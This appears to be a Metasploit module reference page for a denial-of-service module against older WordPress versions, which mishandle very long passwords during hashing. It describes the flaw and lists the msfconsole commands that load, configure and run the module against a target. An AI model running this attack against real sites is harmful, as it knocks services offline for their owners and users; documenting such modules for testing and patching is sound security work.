WordPress Long Password DoS



WordPress before 3.7.5, 3.8.x before 3.8.5, 3.9.x before 3.9.3, and 4.x before 4.0.1 allows remote attackers to cause a denial of service (CPU consumption) via a long password that is improperly handled during hashing.

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use auxiliary/dos/http/wordpress_long_password_dos
msf auxiliary(wordpress_long_password_dos) > show actions
msf auxiliary(wordpress_long_password_dos) > set ACTION < action-name >
msf auxiliary(wordpress_long_password_dos) > show options
    ...show and set options...
msf auxiliary(wordpress_long_password_dos) > run 

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
